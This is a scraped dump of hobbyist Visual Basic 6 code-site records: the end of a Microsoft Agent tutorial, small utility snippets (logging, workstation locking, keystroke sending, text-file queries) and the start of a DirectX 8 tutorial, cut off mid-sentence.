\nUsing an Input Box to let\nthe User specify what the Character Says\nThis code is very useful because it lets the\nuser decide what the the character says. \nMessage = InputBox(\"What do you want Peedy to say?\")\n'Sets the Message String to equal the input box. Also sets\nthe input box's heading \nchar.Speak Message 'Speaks out the text in the Message\nString \n\nUsing a Text Box to let\nthe User specify what the Character Says\nThis code is useful to make the character\nread a whole document. You can load text in to a text box and then tell the\ncharacter to read it. The following example requires a text box called Text1.\nif Text1.text <> " " then\nchar.speak text1.text 'Checks to see if the text box is\nempty. If it is not empty then it tells the character to speak the text.\nEnd if\n<hr>\n \nCool Web Links\nHere are a few URLs where you will find\ninformation on Ms Agent related programs.\n<a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n- The official Ms Agent site. Has developer downloads and the official developer\ndocuments.\n<a href=\"http://agentry.net\">http://agentry.net</a>\n- Probably the biggest site on Ms Agent (apart from MSDN). Has over 300\ncharacters, and a few are even free for download. A must see site!\n \n<a href=\"http://www.msagentring.org/\">http://www.msagentring.org/</a>\n- A collection of the best Ms Agent sites on the web. You can practically find almost\nanything on Ms Agent here.\n \n<a href=\"http://members.theglobe.com/costas5\">http://members.theglobe.com/costas5</a>\n- Has some cool stuff including how to use Ms Agent in Word 97.\n \nAuthor's Note - I am not responsible for\ncontent you find on these sites. Also if there are any cool resource sites (that\nhave source code or other stuff for developers), just email me and I'll add them\nhere in the next update.\n<hr>\n \nFrequently Asked\nQuestions\nHow do I know if I have a\nMicrosoft Agent Character file(s) on my computer?\nJust goto Start > Find\n> Files or Folders and search for the extension *.acs . If you find any\nsuch files in your <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder then you are luck. If you have a file called Peedy.acs then this tutorial\nwill work. Otherwise just specify Anim = "Your Character's Name).\n \nHey I'm too lazy to go\nsifting through all that... is there some way I can do it through code?\nYes there is a way.. just\nadd this code to a form that has a agent control on it called Agent 1. This code\nwill show a box which has all the character files installed on your computer.\nLook through that and you will know if you have character files or not. Here is\nthe code \nAgent1.ShowDefaultCharacterProperties\n \nI don't have the file(s).\nWhere can I download them from? Are they freeware?\nThe agent files can be freely downloaded, but\nyou are never the less bound by the Microsoft EULA (End User License Agreement).\nFor more information go to the URL specified below. The agent files (inlcuding the character\nfiles) are available for download on <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n. You can also find custom animations created by various people at <a href=\"http://agentry.net\">http://agentry.net</a>\n \nHow big are the character\nfiles?\nThe character files at MSDN range from 1.6 MB\nto around 2 MB so they will take some time to download (depending on your\nconnection speed).\n \nWhy don't some functions\n(commands) work on some character files?\nSome versions of character files will\nhave more functions, so in order use\nall the functions you may need to get a new character file. For example the char.play\n"Idle3_3" function does not work on Robby.\n \nSometimes the character\ndoesn't stop what he is doing for a long time... how can I force him to stop?\nSome functions take a long time to finish or\nmay even loop for ever so\nyou may have to force a stop. Just add the char.Stop or the char.StopAll\nfunction to an event to stop the character. When this function is called the\ncharacter will automatically stop doing what he was doing and go to his rest\npose.\n \nCan I use the Ms Agent freely\nin my\napplications?\nYes! as far as I know Microsoft is\ndistributing this across the internet. You can use the control in your apps but\nplease check out the licensing information first <a href=\"http://www.microsoft.com/workshop/imedia/agent/licensing.asp\">http://www.microsoft.com/workshop/imedia/agent/licensing.asp</a>\n \nHow do I distribute Ms Agent\nwith my apps?\nYou need to get the Cabinet (*.cab) files\nfrom the MSDN site. Then you can include a reference to it in your installation\nprogram. In order to do this too you need to agree with Microsoft's licensing\ninformation (see above).\n \nHow can I change the\ncharacter file?\nIn lots of examples I have seen, in order to\nchange the character file you need to change a lot of code. But if you used my\ncode you only have to change one line of code. All you have to do is to set the\nAnim String to equal the character you want. For example to choose Peedy just\ntype the following code Anim = "Peedy". Note that you can only\nchange the character if you have the character installed on your machine.\n \nCan I use Ms Agent in VB 4.0?\nI have got reports that you can use Ms Agent\n1.5 in Visual Basic 4. I am not sure if it will work in VB 4.0 (16 Bit), but it\nshould work in VB 4.0 (32 Bit). \n \nCan I use Ms Agent in Java?\nAs far as I know you can. I saw some Java\ncode on the MSDN site. You may want to check out the site (see below for URL).\n \nCan I use Ms Agent in C and\nC++?\nYes, I think you can. There were some C++\nexamples on the MSDN site (I think). Check out the site - you may find some\nsample code (URL below).\n \nWhere can I get more info on\nMs Agent?\nMicrosoft's\nofficial Ms Agent developer page is at - <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n \nWhat are some popular\ncommercial / shareware applications made with Ms Agent?\nWell\nthe most famous app is probably Bonzi Buddy (<a href=\"http://www.bonzibuddy.com\">www.bonzibuddy.com</a>).\nAlthough this app initially used Peedy, I think they have now developed their\nown character(s).\n \nI can't understand a part (or\npart's) of this tutorial. Can you help?\nOf\ncourse! Just email me (address below)! I will be happy to help in anyway I can.\n \nHow can I make sure that I\nwill get to see more tutorials like this? \nI\nam greatly encouraged by your comments, suggestions and especially your votes.\nYour support will help me to write more tutorials like this one.\n \nTHE END\nA lot of hard work\nhas gone into this tutorial. I have spent many hours writing this article\nin an easy to understand manner. If you like this please vote for me.\nAlso feel free to post any comments or suggestions as to what I\ncan include in the next version. Feel free to mail me at <a href=\"mailto:vbdude777@email.com\">vbdude777@email.com</a>\nand also check out my website at <a href=\"http://mahangu.tripod.com\">http://mahangu.tripod.com</a>\n \n "},{"WorldId":1,"id":13999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14020,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14027,"LineNumber":1,"line":"The tutorial is included in the ZIP file"},{"WorldId":1,"id":14029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14031,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14052,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14053,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14058,"LineNumber":1,"line":"Option Explicit\n'local variable(s) to hold property value(s)\nPrivate mvarDaysToKeep As Integer 'local copy\nPrivate Const File As String = \"classLogFile\"\nPublic Property Let DaysToKeep(ByVal vData As Integer)\n mvarDaysToKeep = vData\nEnd Property\n\nPublic Property Get DaysToKeep() As Integer\n DaysToKeep = mvarDaysToKeep\nEnd Property\n\n\nPublic Sub WriteLog(lstrMessage As String, Optional lstrProc As String, Optional lstrFile As String, Optional lboolNewEntry As Boolean)\n'**************************************************************\n'* procedure to write out log entries\n'* it accepts the following parameters:\n'* lstrMessage (String containing the message to be logged)\n'* lstrProc (optional string containing the procedure that\n'* generated the log entry)\n'* lstrFile (optional string containing the file that\n'* contains the procedure that generated the log entry)\n'* lboolNewEntry (optional boolean to force the procedure\n'* to treat this entry as a new entry thereby adding\n'* the entry separation formatting)\n'***************************************************************\n Dim lstrMyDate As String\n Dim lstrMyTime As String\n Dim lstrFileName As String\n Dim lintFileNum As Integer\n Dim lstrLogMessage As String\n Dim msg As String\n Const SubName = \"Public Sub oError.WriteLog(lstrMessage As String, Optional lstrProc As String, Optional lstrFile As String, Optional lboolNewEntry As Boolean)\"\n \n On Error GoTo Error\n ' get a free file number for the error.log file\n lintFileNum = FreeFile\n \n ' assign the file name\n lstrFileName = App.Path & \"\\error.log\"\n ' open the log file\n Open lstrFileName For Append As lintFileNum\n \n ' format and initialize the date and time variables\n lstrMyDate = Format(Date, \"mmm dd yyyy\")\n lstrMyTime = Format(Time, \"hh:mm:ss AMPM\")\n \n If lboolNewEntry = True Then\n ' write the top boundary of the log entry.\n lstrLogMessage = lstrMyDate & \" \" & lstrMyTime & \" ********************************************************************************** \"\n Print #lintFileNum, lstrLogMessage\n \n If Len(lstrFile) > 0 Then ' write the file\n lstrLogMessage = lstrMyDate & \" \" & lstrMyTime & \" *** File: \" & lstrFile\n Else\n lstrLogMessage = lstrMyDate & \" \" & lstrMyTime & \" *** File: Not Supplied\"\n End If\n If Len(lstrProc) > 0 Then ' write the procedure\n lstrLogMessage = lstrLogMessage & \" ***** \" & \" Procedure: \" & lstrProc\n Else\n lstrLogMessage = lstrLogMessage & \" ***** \" & \" Procedure: Not Supplied\"\n End If\n Print #lintFileNum, lstrLogMessage\n End If\n \n ' write the log entry\n lstrLogMessage = lstrMyDate & \" \" & lstrMyTime & \" *** \" & lstrMessage\n Print #lintFileNum, lstrLogMessage\n \n If lstrMessage = \"Normal Exit\" Then\n ' write the bottom boundary of the log entry.\n lstrLogMessage = lstrMyDate & \" \" & lstrMyTime & \" ********************************************************************************** \"\n Print #lintFileNum, lstrLogMessage\n End If\n \n 'close the log file\n Close lintFileNum\n Exit Sub\nError:\n msg = \"Error in creating or editing the error.log file.\" & vbCrLf\n msg = msg & \"Error: \" & Err.Number & \" - \" & Err.Description & vbCrLf\n msg = msg & \"Program File: \" & File & \"Procedure: \" & SubName\n MsgBox msg, vbCritical\n \n \nEnd Sub\nPrivate Sub RemoveOldLogEntries(Days As Integer)\n'*************************************************************\n'* RemoveOldLogEntries is a procedure that, as it's name\n'* implies parses thru the lines in the error log file created\n'* in the above oError.WriteLog procedure and removes entries\n'* past an number of days specified at the time this procedure\n'* is called\n'* It accepts the following parameters:\n'* Days (an integer that specifies the number of days\n'* beyond which to delete the log entries)\n'*************************************************************\n Dim lstrInFileName, lstrOutFileName As String\n Dim lstrLogEntry, lstrEntryDate As String\n Dim lintInFileNum, lintOutFileNum As Integer\n \n Const SubName = \"Private Sub RemoveOldLogEntries(Days As Integer)\"\n \n On Error GoTo Error\n WriteLog \"Removing log entries greater than \" & Str(Days) & \" days old.\", SubName, File, False\n \n ' assign the file name\n lstrInFileName = App.Path & \"\\error.log\"\n lstrOutFileName = App.Path & \"\\error.tmp\"\n \n If Dir(lstrInFileName) = \"error.log\" Then\n ' get a free file number for the error.log file\n lintInFileNum = FreeFile\n ' open the error.log file for reading and the error.tmp file for writing\n Open lstrInFileName For Input As lintInFileNum\n lintOutFileNum = FreeFile\n Open lstrOutFileName For Append As lintOutFileNum\n \n Do While Not EOF(lintInFileNum)\n Line Input #lintInFileNum, lstrLogEntry ' Read line into variable.\n \n lstrEntryDate = Left(lstrLogEntry, 11)\n If DateDiff(\"d\", lstrEntryDate, Now) <= Days Then\n Print #lintOutFileNum, lstrLogEntry\n Exit Do\n End If\nRecoverFromError:\n On Error GoTo Error:\n Loop\n Do While Not EOF(1)\n Line Input #lintInFileNum, lstrLogEntry\n Print #lintOutFileNum, lstrLogEntry\n Loop\n \n Close #lintInFileNum ' Close file.\n Close #lintOutFileNum\n Kill lstrInFileName\n Name lstrOutFileName As lstrInFileName\n End If\n Exit Sub\nError:\n If Err.Number = \"13\" Then\n GoTo RecoverFromError\n \n End If\n \n MsgBox \"Error: \" & Err.Number & \" - \" & Err.Description, vbCritical\nEnd Sub\nPublic Sub SimpleError(Optional SubName As String, Optional FormName As String)\n Dim msg As String\n If Len(SubName) = 0 Then SubName = \"Unspecified\"\n If Len(FormName) = 0 Then SubName = \"Unspecified\"\n msg = \"Error: \" & Err.Number & \" - \" & Err.Description\n MsgBox msg, vbCritical\n WriteLog msg, SubName, FormName, True\n \nEnd Sub\nPrivate Sub Class_Initialize()\n WriteLog App.EXEName & \" Started\", \"Private Sub Class_Initialize()\", File, True\n DaysToKeep = 1\nEnd Sub\nPrivate Sub Class_Terminate()\n WriteLog \"Terminating LogFile Object\", \"Private Sub Class_Terminate()\", File, True\n RemoveOldLogEntries DaysToKeep\n WriteLog \"Normal Exit\", \"Private Sub Class_Terminate()\", File, True\n \nEnd Sub"},{"WorldId":1,"id":14059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14061,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14063,"LineNumber":1,"line":"'---------\n'WinZipIT\n'---------\nFunction winZipit(ByVal source As String, ByVal target As String, ByVal zip As Boolean)\nzipIT = App.Path & \"winzip32 -a\"\nunzipIT = App.Path & \"winzip32 -e \"\nIf zip = True Then\nShell (zipIT & target & source)\nElse: Shell (unzipIT & target & source)\nEnd If\nEnd Function\n"},{"WorldId":1,"id":14068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14073,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14074,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14080,"LineNumber":1,"line":"'In a module please place the following line of code\nPublic Declare Function LockWorkStation Lib \"user32\" () As Boolean\n\n'On a command button or Sub, please this line of code\nLockWorkstation\n\n'Please note that this can also be done by putting this line of code in a button\nShell \"rundll32 user32.dll,LockWorkStation\""},{"WorldId":1,"id":14085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14086,"LineNumber":1,"line":"Function SecsToMins(Secs As Integer)\nIf Secs < 60 Then SecsToMins = \"00:\" & Format(Secs, \"00\") Else SecsToMins = Format(Secs / 60, \"00\") & \":\" & Format(Secs - Format(Secs / 60, \"00\") * 60, \"00\")\n'if the seconds are less than 60 it will put a \"00:\" in front of it and the seconds formatted so if it was 6 seconds then it would be 06\n'using format is pretty helpful\n'if the seconds are 60 or are more than 60 it will\n'divide the amount of seconds by 60 to get minutes\n'then comes the harder to understand part(for some people)\n'to get the seconds you have to format your seconds by 60 so there are no decimals. Then you multiple that by 60 and take that number away from the total seconds\n'it took me awhile to figure out that i needed the format in the middle of finding the seconds.\nEnd Function"},{"WorldId":1,"id":14087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14094,"LineNumber":1,"line":"Option Explicit\nDim oConn As New ADODB.Connection\nDim oRS As New ADODB.Recordset\nPrivate Sub Form_Load()\n oConn.Open \"Provider=Microsoft.Jet.OLEDB.4.0;\" _\n & \"Data Source=\" & App.Path & \";\" _\n & \"Extended Properties='text;FMT=Delimited'\"\n \n '-- Use Following connection string if text file doesn't have a header for field names\n 'oConn.Open \"Provider=Microsoft.Jet\" _\n & \".OLEDB.4.0;Data Source=\" & App.Path _\n & \";Extended Properties='text;HDR=NO;\" _\n & \"FMT=Delimited'\"\n \n Set oRS = oConn.Execute(\"Select * from Data.txt \")\n \n Dim ofield As ADODB.Field\n Do Until oRS.EOF\n For Each ofield In oRS.Fields\n Debug.Print \"Field Name = \" & ofield.Name & \" Field Value = \" & ofield.Value\n Next ofield\n oRS.MoveNext\n Loop\nEnd Sub"},{"WorldId":1,"id":14095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14116,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14150,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14151,"LineNumber":1,"line":"Get it at:\nhttp://sesphp.homestead.com/files/D-Mail.zip"},{"WorldId":1,"id":14152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14159,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14176,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14179,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14190,"LineNumber":1,"line":"'' Better Off Putting it in a Timer.\n'' Set the Interval to 3000.\n'' Private Sub Timer1_Timer()\ndim findwin as Long\nfindwin = FindWindow(\"#32770\", \"Reestablish Connection\")\nIf findwin <> 0 Then\nCall ShowWindow(findwin, SW_SHOW)\nSendKeys \"{enter}\", True\nEnd If\n'' End Sub"},{"WorldId":1,"id":14194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14201,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14203,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14217,"LineNumber":1,"line":"\nSub SendText(hWnd As Long, Text As String)\n If hWnd = 0 Then MsgBox \"no hWnd supplied\": Exit Sub\n' got hWnd, start sending messages\nDim zwParam As Long ' so no dupe deffs use z infrount =]\nDim zlParam As Long\nDim xwParam As Long ' used for WM_CHAR\nFor I = 1 To Len(Text)\n ' First, get the lParam for WM_KEYDOWN\n zwParam = GetVKCode(Mid$(Text, I, 1))\n xwParam = zwParam And &H20 ' wants Hex20 added to it so A7 goes to C7 and 15 -> 35 (hex values)\n \n zlParam = GetScanCode(Mid$(Text, I, 1))\n PostMessage hWnd, WM_KEYDOWN, zwParam, zlParam\n \n ' Used in notepad, doesn't seem to be used in this example\n 'PostMessage hWnd, WM_CHAR, xwParam, zlParam\n \n ' Used in notepad, but doubles the chars in this example..\n 'zlParam = zlParam And &HC0000000 ' wants hex-C (7x0's) added.\n 'PostMessage hWnd, WM_KEYUP, zwParam, zlParam\n \n DoEvents\nNext\nEnd Sub\n\nFunction GetVKCode(ByVal Char As String) As Long\n On Error Resume Next\n Char = UCase(Left$(Char, 1))\n GetVKCode = Asc(Char)\nEnd Function\n\nFunction GetScanCode(bChar As String) As Long\n' To get scancodes:\n' Start SPY++ on Notepad\n'Type in all chars and then stop SPY++ logging. It will tell you all scancodes\n' recorded during the logging.. long but ah well..\n' Note: Scancode 1E = &H1E0001, 30 = &H300001\n'\n Select Case LCase$(Left$(bChar, 1))\n Case \"a\"\n GetScanCode = &H1E0001\n Case \"b\"\n GetScanCode = &H300001\n Case \"c\"\n GetScanCode = &H2E0001\n Case \"d\"\n GetScanCode = &H200001\n Case \"e\"\n GetScanCode = &H120001\n Case \"f\"\n GetScanCode = &H210001\n Case \"g\"\n GetScanCode = &H220001\n Case \"h\"\n GetScanCode = &H230001\n Case \"i\"\n GetScanCode = &H170001\n Case \"j\"\n GetScanCode = &H240001\n Case \"k\"\n GetScanCode = &H250001\n Case \"l\"\n GetScanCode = &H260001\n Case \"m\"\n GetScanCode = &H320001\n Case \"n\"\n GetScanCode = &H310001\n Case \"o\"\n GetScanCode = &H180001\n Case \"p\"\n GetScanCode = &H190001\n Case \"q\"\n GetScanCode = &H100001\n Case \"r\"\n GetScanCode = &H130001\n Case \"s\"\n GetScanCode = &H1F0001\n Case \"t\"\n GetScanCode = &H140001\n Case \"u\"\n GetScanCode = &H160001\n Case \"v\"\n GetScanCode = &H2F0001\n Case \"w\"\n GetScanCode = &H110001\n Case \"x\"\n GetScanCode = &H2D0001\n Case \"y\"\n GetScanCode = &H150001\n Case \"z\"\n GetScanCode = &H2C0001\n Case Else\n GetScanCode = 0 ' no scode at the mo =(\n End Select\nEnd Function\n"},{"WorldId":1,"id":14218,"LineNumber":1,"line":"<h1 align=\"center\">An Introduction To DirectX8</h1>\n<h3 align=\"center\">By <a href=\"mailto:Si@VBgames.co.uk\">Simon Price</a></h3>\nVisit <a href=\"http://www.VBgames.co.uk\">www.VBgames.co.uk</a>\nfor more!\n<h4>What you will learn</h4>\n<ul>\n <li>How to use the DirectX libraries from Visual Basic</li>\n <li>How to get input from the most commonly used devices - keyboard and mouse\n - using DirectInput</li>\n <li>How to load and play a wave file using DirectSound</li>\n <li>How to create a rendering device with Direct3D</li>\n <li>How to use the D3DX helper functions</li>\n <li>How to use vertex and index buffers to create simple geometry</li>\n <li>How to use view and projection matrices to set up a camera</li>\n <li>How to use world matrices to make animation and reuse the same geometry</li>\n <li>How to load textures from a bitmap file</li>\n <li>How to unload all of this safely</li>\n</ul>\n<h4>How you will learn it</h4>\n<ul>\n <li>Overview of DirectX8</li>\n <li>Explanation of DirectX terms</li>\n <li>Explanation of sample program</li>\n <li>Full working demo program to <a href=\"http://www.VBgames.co.uk/tutorials/dx8intro.zip\">download</a>\n with source code and comments</li>\n <li>Evaluation of what has been learnt</li>\n <li>Exercises to extend your knowledge</li>\n <li>Thoughts for future tutorials</li>\n</ul>\n<h4>Boring Intro</h4>\nBack by popular demand is my DirectX tutorial series! Although I'm sort of starting\nagain for DirectX 8. So for complete newbies, this tutorial is great, and for\nthose who already know some DX7 or DX8, the tutorial includes some more complex\nstuff than previous tutorials. In DirectX 8, the API has become simpler in\nthe initialization of objects and it also has many more maths functions to help\nyou. But it's still alot of work to do by yourself, so that's why you should\nhelp spread the word by making free source demos and tutorials. At this point I acknowledge\nRichard Hayden for his free source Direct3D8 world, it is a great example of\nwhat I am talking about and helped me begin to learn the new API. Enough of the\nchit chat...\n<h4>Before you begin</h4>\nIf you don't already have DirectX 8 and the DirectX 8 Type Libraries for\nVisual Basic then you've got some downloading to do! Sorry, but it is worth it.\nYou don't need all the SDK documentation, although I recommend getting it, and\nyou don't need the C++ SDK if you are a VB'er only, so your download might not\nbe as big as mine was. I managed to download 135 MB though my cheap 56 K phone\nline though, and that was the full download including everything. So it is\npossible, but you will need to get a program such as <a href=\"http://www.getright.com\">GetRight</a>\nto help you download such a big file. All developer information and downloads\ncan be found at <a href=\"http://www.microsoft.com/directx\">www.microsoft.com/directx</a>\n. Once DirectX 8 is installed, and you have the DX VB Type Libs, read on.\n<h4>Adding a reference to your project</h4>\nEvery time you start a new project that will use DirectX, you will need to do\nthe following:\n<ul>\n <li>Click the Project menu</li>\n <li>Choose the References... submenu and the References dialog will pop up</li>\n <li>Scroll down the list of references until you find the "DirectX 8 Type\n Library for Visual Basic" and check the box next to it</li>\n <li>Click OK</li>\n</ul>\nNow VB will know every class, type and enumeration that DirectX 8 contains,\nso you're ready to begin coding!\n<h4>DirectX and 3D terminology</h4>\nThis is the part which gets most people. I wish I had someone to explain all\nthe jargon to me when I was learning. After the language barrier, things get a\nbit easier. Here's some terms you need to know. If you already know a bit about\nDirectX, you should probably skip this whole section and only come back to it\nwhen you see a word you don't understand. It is not in alphabetical order,\nrather it is in logical order so that you can read the whole thing if you're new\nand you want to. As you can see, there is alot of it, and this is only the basics.\n<ul>\n <li>DirectX, DirectAudio (DirectSound, DirectMusic), DirectGraphics\n (Direct3D, DirectDraw), DirectPlay, DirectSetup - These are all part of\n the DirectX API. They are the main objects which deal with different jobs\n e.g DirectAudio takes care of all audio input and output, and it contains\n DirectSound and DirectMusic</li>\n <li>API - What does that stand for again? I think it was Advanced\n Programming Interface (correct me please if I'm wrong). At least I know what\n it means. It's the bunch of objects that give you a higher level view of a\n task, so you don't need to think about writing low level code anymore\n because people have already made functions to do that for you.</li>\n <li>Variable - If you don't know what a variable is, go away and learn\n something simpler.</li>\n <li>Type - I hope you know this too. It's several variables group\n together, in C++ it's a structure.</li>\n <li>Class - This is code that describes an object (see below).</li>\n <li>Object - An object can contain variables like a type, but it also\n can have functions that can be called from code elsewhere. An object is\n created from a class.</li>\n <li>Instance - When an object is created from a class, it is said to be\n an instance of the object. Note there can be many instances of an object\n created from the same class.</li>\n <li>Library - A whole group of objects are often grouped together into\n one file, usually a DLL (Dynamic Link Library). DirectX is made of DLL's.</li>\n <li>Pointer - This is a variable that stores a memory address. In VB,\n your don't use pointers directly, but if you use a object without creating a\n new instance of the object, you are basically using a pointer to another\n object.</li>\n <li>Buffer - A word given to a chunk of memory which has been assigned\n a job, usually to temporarily store data which is moved around alot. There\n are several types of buffer in DirectX.</li>\n <li>Backbuffer, Frontbuffer, Surface, Texture - These are used to store\n graphics. The only visible graphics buffer is the front buffer. In DirectX\n 8, you never need to worry about this, just know what it is (erm, like, it's\n what you see on the screen). A back buffer is where graphics go just before\n the front buffer. You draw on the back buffer, and when your super duper\n graphics are finished, you ask DirectX to move it to the front buffer. A\n surface is just like a back buffer, it stores pictures, but it is more\n general since it has nothing to do with a front buffer. A texture is a\n surface used for texture mapping polygons (see later), and is usually of dimensions\n that are square, a power of 2, typically 256 x 256.</li>\n <li>Copy, VSync, Blt, Flip, Discard - These are methods of copying from\n one surface to another. Copying involves copying every single bit from on\n surface to another. Flipping involves moving a pointer to s surface so that\n the front buffer and back buffer surfaces switch roles (their pointers are\n swapped) making for a very quick appearance of a new image. VSync means synchronizing\n the copying or flipping of surfaces with the vertical refresh of the monitor\n so that you can't see the graphics flicker. If you discard your surface when\n you flip, it is a faster, but the contents of the back buffer are not\n guaranteed to be still the same as before the flip.</li>\n <li>Z buffer - A piece of memory that store the z positions of objects\n drawn onto a surface.</li>\n <li>Sound buffers (primary and secondary) - A sound buffer stores a\n sound. A primary sound buffer can be heard out of the speakers, with DirectX\n you can ignore it because it is managed for you. A secondary sound buffer is\n where sounds can be stored before being mixed and sent to the primary\n buffer.</li>\n <li>Mixing - The process of creating just one sound from several source\n sounds.</li>\n <li>Static and streaming - A static buffer stores just a whole sound\n and just sits there. A streaming buffer stores only part of the sound and\n constantly is moving in the next part of the sound and and moving out the\n already played sound. A static buffer is more CPU efficient and a streaming\n buffer is more memory efficient.</li>\n <li>Input device - This is commonly a mouse or a keyboard, but can also\n be a joy pad or a steering wheel etc.</li>\n <li>Device state - The state of the input device depends on what\n buttons/rollers/wheels are being pressed/moved etc. For example, the state\n of the keyboard is that the "X" key is down.</li>\n <li>Rendering device - This is something that draws graphics, it can be\n a hardware graphics card or a software emulation device.</li>\n <li>Hardware and software emulation - Hardware is a physical unit on\n your computer and is usually very fast at doing it's job. Software emulation\n can do the same job as hardware, but at a slower rate and using up memory.</li>\n <li>System and video memory - System memory is the main memory where everything\n else is stored - programs, Windows, anything and everything scattered\n everywhere so it can be slow. Video memory is separately used for hardware\n to store pictures and is usually alot faster. It can be a slow operation to\n copy between these two types of memory.</li>\n <li>Polygon, Primitive - Polygons are a general term for shapes that\n can be made with a number of straight edged sides and are used in 3D store\n create shapes. In Direct3D, a primitive is usually a point, a line or a\n triangle.</li>\n <li>Material - A polygon appears to be made of a material, in DirectX,\n a material has several colors to describe it's appearance.</li>\n <li>Texture mapping - When a polygon has a picture put onto it it is\n said that the polygon has been texture mapped.</li>\n <li>Texture management - Textures must be ordered and and moved around\n so that the right textures are available when they are need. DirectX by\n default can do this for you.</li>\n <li>Vector - A 3 dimensional value, having x, y and z components.</li>\n <li>Vertex - A primitive is made up of vertices (plural of vertex)\n where edges end or meet. They can be just the same as vectors, or they can\n have additional components such as color, direction (or normal), or texture\n coordinates.</li>\n <li>Plane - A flat shape that goes on forever and splits space into 2.\n For example, the ground is a horizontal plane.</li>\n <li>Normal - A normal to a plane or vertex or primitive is a vector\n that describes where it is facing. Has a similar meaning as perpendicular or\n orthogonal. </li>\n <li>Transformation - A formula that changes a vector to another\n position.</li>\n <li>Matrix - Matrices (plural of matrix) describes any transformation\n by storing 16 numbers.</li>\n <li>Translation, rotation, scaling - These are types of\n transformations. A translation is a movement in the x, y or z direction (or\n 2 or all 3 directions), a rotation spins the vector around an origin,\n scaling resizes the vector around a origin.</li>\n <li>Origin - A point or vector that is the center of something.</li>\n <li>World, View and Projection - The world transformation affects every\n vector in the world, moving it moves everything. The view transformation\n makes the camera or eye on the scene appear to be in the right place, and\n the projection transformation describes how the 3D scene is conveyed onto\n the 2D picture produced from it.</li>\n <li>Culling - When a polygon is not facing the camera, the process of\n culling ensures it is not drawn.</li>\n <li>Z buffering and Z sorting - This process makes sure that when a\n object is obscured by another, it cannot be seen.</li>\n <li>More... I've missed out loads so if you still don't understand a\n word then just ask.</li>\n</ul>\n<h4>The sample program</h4>\nYou can download the sample program from <a href=\"http://www.VBgames.co.uk/tutorials/dx8intro.zip\">here</a>.\nYou will need a program like <a href=\"http://www.winzip.com\">Winzip</a> to\ndecompress it. It is written in Visual Basic 6, if you have another version of\nVB then there is information on <a href=\"http://www.planet-source-code.com/vb\">www.planet-source-code.com/vb</a>\nas to how to try to open the version 6 files.\nThe sample program uses hardware accelerated rasterization. If your computer does not have this, the request\nwill fail, so use D3DDEVTYPE_REF instead of D3DDEVTYPE_HAL 